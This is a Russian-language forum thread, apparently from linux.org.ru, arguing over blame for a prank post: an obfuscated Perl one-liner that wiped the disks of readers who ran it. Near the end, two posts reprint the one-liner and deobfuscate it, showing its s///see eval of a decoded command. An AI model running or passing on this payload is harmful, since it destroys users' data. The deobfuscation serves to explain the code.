я возлагаю ответственность на жертву. потому что в данном случае жертва сама выбирает свой путь. вину можно возлагать на шутника только в том случае, если знаешь его достаточно хорошо, и доверяешь ему. тогда такие шутки просто неуместны. тогда я просто пойду и набью ему морду. так как он мой знакомый. или просто перестану с ним общаться. а если код берешь у анонимуса, исполняешь его сам, то и виноват тоже сам. тем более не имеет смысла попусту трепаться. а оправдывать и не возлагать вину - это разные вещи.

Дениска

Да фигли спорить!

Дениска прав однозначно! И особенно упоминанием про мою любимую VMWARE. Благо ресурсы практически любого компа это позволяют. Жаль только Sparc'овый Solaris не эмулирует :-(

Знакомые, которым ты доверяшь и форум, а тем более аноним - разные вещи. Нефиг в одну кучу все мешать и подтасовывать факты.

Я не призываю всех так поступать и публиковать разрушительные коды. Но перекладывать вину с больной головы (не предохранющуюся) на здоровую - глупо. На ошибках надо учиться. А не оправдываться. Только так можно извлечь урок из ситуации.

> я возлагаю ответственность на жертву. потому что в данном случае жертва сама выбирает свой путь. вину можно возлагать на шутника только в том случае, если знаешь его достаточно хорошо

Ты опасный человек. Рядом с тобой опасно.

Зато рядом можно безнаказанно делать все, что в голову взбредет.

Ты слаб.

P.S. А как ты собираешься защищать Родину, если, вдуг, не приведи Господи, что ? Враги, ведь, могут оказать незнакомыми тебе людьми...

Поправка Re: Re: Апология подонков

Хм... вопрос, на самом деле, не в личностях, а в идиологии.

Как известно, идиология способна меняться... надеюсь.

Я Форумы не читаю, лишь новости с заглавной страницы. А там как главная обсуждаемая новость стоит это замаскированное вредительство.

Ну не мог я предположить, что такое может держаться на заглавной страницы, доверял linux.org.ru.

Насчет доверия и ответственности. Если ты скушал йогурт и отравился, кого будешь винить, одного себя? Ведь мог же проверить на таксичность перед употреблением. Наверное ты просто лох, если не проверил.

Если десятки покупателей (да даже если и один) купили в магазине йогурт от какой-то новой неизвестной фирмы и отравились именно из-за него, то этому магазину хана, можешь проконсультироваться с любым адвокатом. Правда тут магазин может поплакаться в суде, мол, неумышленное вредительство, и наказание уменьшат. Тут же наяву умышленное вредительство, модераторы умышлено оставили, пусть читатели потирают себе диски, пусть учатся.

Последнее сообщение моё. По работе пришлось куки временно отменить. :)

>> я возлагаю ответственность на жертву. потому что в данном случае жертва сама выбирает свой путь. вину можно возлагать на шутника только в том случае, если знаешь его достаточно хорошо

>Ты опасный человек. Рядом с тобой опасно. Прокомментируй, плиз. Я, видно сам такой. Считаю _себя_ в ответе за все и не пытаюсь свалить вину на кого-то. В чем опасность для окружающих? Вот для знакомых есть опасность. Если меня подведут - мое доверие к человеку исчезнет и восстановиться в моих глазах будет очень нелегко.

А чужим людям я и не доверяю. И если уж приедтся попросить случайного знакомого на вокзале присмотреть за чемоданом - то я _заранее_ буду готов к тому, что вернувшись могу не найти ни того, ни другого. Соответвсенно и не оставлю там ничего ценного, что действительно жалко потерять. Ну а с потерей носков в обмен на "проверку честности" я вполне могу пойти.

>Зато рядом можно безнаказанно делать все, что в голову взбредет. Вообще говоря, фраза правильная. Только IMHO ты в нее вкладываешь иной смысл, нежели я. Я действительно терпим к людям. Потому что отказался от чувства собственной значимости и несу ответственность за решения. И очень трудно сделать что-то такое, что меня вывело бы из себя.

>Ты слаб. Такие безапелляционные заявления абсолютно без аргументации свидетельствуют о слабости именно твоей позиции :-)

>P.S. А как ты собираешься защищать Родину, если, вдуг, не приведи Господи, что ? Враги, ведь, могут оказать незнакомыми тебе людьми... Да как и ты. В чем разница-то? В том, что я врагам доверяю меньше, чем ты? Так у меня это даже эффективнее получится :-)

Тоха.

>Насчет доверия и ответственности. Если ты скушал йогурт и отравился, >кого будешь винить, одного себя? Ведь мог же проверить на таксичность >перед употреблением. Наверное ты просто лох, если не проверил.

Да. если на дороге валялся йогурт и я его съел - я буду винить себя.

Хотя обычно я _покупаю_в_магазине_

>Если десятки покупателей (да даже если и один) купили в магазине >йогурт от какой-то новой неизвестной фирмы и отравились именно из-за >него, то этому магазину хана, можешь проконсультироваться с любым >адвокатом. Правда тут магазин может поплакаться в суде, мол, >неумышленное вредительство, и наказание уменьшат. Тут же наяву >умышленное вредительство, модераторы умышлено оставили, пусть >читатели потирают себе диски, пусть учатся. Да. Если он _купил_ софт, который оказался завирусованным - стоит идти в суд. Естати была несколько лет назад история, какие-то драйвера были с гадостью... От видюхи, что ли.. Случайно, конечно.

Но к нынешней ситуации это не относится. Он ничего не купил. Он _нашел_ и употребил на свой страх и риск. Даже не попытавшись понять, что это такое. В твоем примере - не взгянув на "Годен До"

Тоха.

На заглавную страницу её специально никто не помещали, мне кажется, сайт автоматом считает где больше всех комментариев и выводит в TOP 10. ИМХО. Так что при чём тут доверие/не доверие к сайту...

Дебил, ты не купил этот "йогурт". Ты его нашёл на помойке. И денег за него не платил. Я хуею, уважаемая редакция, какие здесь все-таки долбоебы околачиваются

> P.S. А как ты собираешься защищать Родину, если, вдуг, не приведи Господи, что ? Враги, ведь, могут оказать незнакомыми тебе людьми...

такую родину пусть лохи защищают. умные всю жизнь в тылу отсиживались.

Дискутировать с анонимами без имени - пустая трата времени.

Из-за таких, lor действительно напоминает помойку. Поздравляю, построили прекрасный отстойник, и модераторы внесли свою посильную лепту. А я-то по наивности думал, что на цивилизованном сайте нахожусь. Ну, извините тогда, оставляю помойку её строителям.

К счастью английским владею свободно, полно цивилизованных сайтов. :)

>К счастью английским владею свободно, полно цивилизованных сайтов. :)

А это мысль :-)

Действительно было бы интересно посмотреть на реакци. англоговорящих на подобное. Жаль, я не могу себе позволить запостить эту подлянку буржуям. Но если кто так сделает - URL на топик сюда закинтьте?

Тоха

>Действительно было бы интересно посмотреть на реакци. англоговорящих на подобное. Жаль, я не могу себе позволить запостить эту подлянку буржуям. Но если кто так сделает - URL на топик сюда закинтьте?

да-да... сначало все возмущались, что автор %@^%#$$@#$, а теперь поехали - давайте всем под двери г... наложим. здорово! Типа, чего мы одни-то дураками прослыли? чего это только нашь тред на всех форумах в хуморе прописался? давайте еще кого привлечем. вместе дураками будем...

Дениска

Буржуям

Не сомневаюсь что попадут. И что? Это даже не война будет, а лохотрон какой-то.
А всяким уродам, которые в тылах отсиживаются, так скажу: попали бы ко мне во взвод - я бы сделал из вас нормальных людей. Могли бы и посочувствовать и порадоваться, что сами не оказались в говне.
Было человека 2-3 из 22, которые считали себя очень умными, как без них-то? Ну и что? Нормальные сейчас ребята, хоть и досталось им.
Буржуи, думаю, сильно расстроятся по двум причинам:
1. Они СЕРЬЕЗНО недооценивают русских, а мы их переоцениваем в основном
2. Такой пакости они вряд ли ожидают.
Вирус - ладно, снес систему, заново поставил. Подумаешь, чего еще инопланетяне пришлют. Но тут - чистой воды злостный фейк, у которого целей кроме как просто сделать плохо больше нет. Их практичный ум, думаю, никогда не поймет этого. Будут считать, что фатальные последствия - простое совпадение

Демон

Если кто еще не разобрался в этом коде, хотя думаю что почти все, но все же: perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Смотрим что там и как, приводим в болеее удобочитаемый вид $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see

Далее $? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/; y/ -\/:-@[-`{-}/`-{/" -/; s//$_/see;

Далее my $i; $i = s//=]=>%-{<-|}<&|`{/; $i = tr/ -\/:-@[-`{-}/`-{\/" -/; print $i; Вроде как все Если разкомментировать нижнюю строку, то он проexecut'ит команду. #s//$i/see; Вроде как все

Преподам ЗИ

Лучше продумали бы программу, чтобы на лекциях в сон не тянуло при упоминании RSA. Вообще, все образование - сплошная гниль. Полезного выхода с него - как с козла молока. Единственное, как ни странно благодарен Матану и ТерВеру за то, что показал как бывает тяжело.
После этого любая работа кажется раем.
Дело тут не в защите информации, а в плюшевых лабораторках, на которых учат мышкой в меню копошиться, а не реальные проекты делать.
За 1 неделю реальной работы изучил Веб-сферу на уровне достаточном для зарабатывания денег на хлеб с маслом. А в институте этому два семестра учат, и ни фига никто ничего не знает на выходе.
Правильно говорят - научить невозможно, можно тока самому научиться.
Так вот задача преподов по защите информации - не учить, а учить учиться. А они тут стоя апплодируют челу, у которого ума хватило подлянку сделать
Стыдно

Демон

Дениска, да никто не призывает "да-да... сначало все возмущались, что автор %@^%#$$@#$, а теперь поехали - давайте всем под двери г..."

Мне просто интересна их реакция. Они тоже будут на кого-то вину сваливать за отсутствие профессионализма у самих себя или нет?

Или они все-таки привыкли на работе работать, а не всякую фигную из Интернета запускать. А дома - ну тут уж последствия неприятные, но не так страшны. Ну день на переустановку системы...

Тоха

P.S. Автора я не оправдываю. Но виноваты сам пострадавшие.

10 х Re: Апология подонков

> Мне просто интересна их реакция

а может и автору поста была интересна реакция? в данном случае цель не оправдывает средство.

Дениска

> а может и автору поста была интересна реакция? в данном случае цель не оправдывает средство.

Может и так. Может интересно, сколько здесь профессионалов, а сколько нет. Это его дело. А дело админа - иметь бэкап, на работе работать, а не фигней страдать, предохраняться и все такое. И будь автор хоть тыща раз сволочь, все равно, эта ситуация - не форс-мажор. Не землетрясение какое-нибудь. И пострадавшие - ВИНОВАТЫ. Им можно сочувствовать, их можно как-то помочь, посоветовать софт для восстановления, предложить навыки правильного администрирования наконец. Но не оправдывать! А если их сейчас жалеть - так они и будут чувствовать себя бедными несчастными жертвами. Вместо того, чтобы научиться. И если и вынесут какой-то урок, то лишь "все козлы". А хотелось бы, чтобы он вылился в рост профессионализма. Впрочем, каждый выбирает по себе. Кому-то действительно по душе психология жертвы.

Тоха.

>"И пострадавшие - ВИНОВАТЫ. Им можно сочувствовать, их можно как-то помочь, посоветовать софт для восстановления, предложить навыки правильного администрирования наконец. Но не оправдывать! А если их сейчас жалеть - так они и будут чувствовать себя бедными несчастными жертвами."

Пострадавшие - это не админ-придурок, который запускает что попало на сервере из-под рута, а пользователи, чьи данные там погибли, и которые не виноваты в том, что админ у них идиот.

1. Как тут было верно замечено, дело в идеологии. Попробую выразить ее более рельефно, взяв предельный случай.

Наркотики. Практически во всем мире их распространение и производство считаются наказуемым деянием. С точки зрения подонков это неправильно. Хочет человек колоться - пусть колется; если продавец согласен продать, а покупатель купить товар, - не надо им мешать. Ну а в том, что случится с наркоманом, виноват ТОЛЬКО ОН САМ (цитата: "жертва сама выбирает свой путь"). Наркодилер же в их глазах - невинная овечка, не заслуживаящая не только наказания, но и порицания.

2. Оправдывать и [не]возлагать вину - действительно формально разные вещи. Оправдывать можно только того, на кого предварительно возложили вину, например, по смягчающим обстоятельствам. Если вины не возложено, то и до оправдания не доходит - можно честно глядя в глаза заявить "а я его не оправдываю" - и ведь действительно не оправдывает!

3. "такую родину пусть лохи защищают" Мне интересно, что значит "такая" Родина. Какие именно качества "Родины" не нравятся тут уважаемому оппоненту? Может ли он представить себе "Родину" (или таковая существует?) без этих качеств?

//psyco

Все еще проще...

~> perl -MO=Deparse -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y;-/:-@[-`{-};`-{/" -;;s;;$_;see'

$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;
tr ( -/:-@[-`{-}) [`-{/" \-];
s//do {
    $_;
};/see;

-e syntax OK

Имхо, достаточно очевидно, что она делает. 
по крайней мере когда с мечеными данными выполняется do { $_ }...
А вообще глац сразу цепляется на s///see. Это коварная конструкция 8)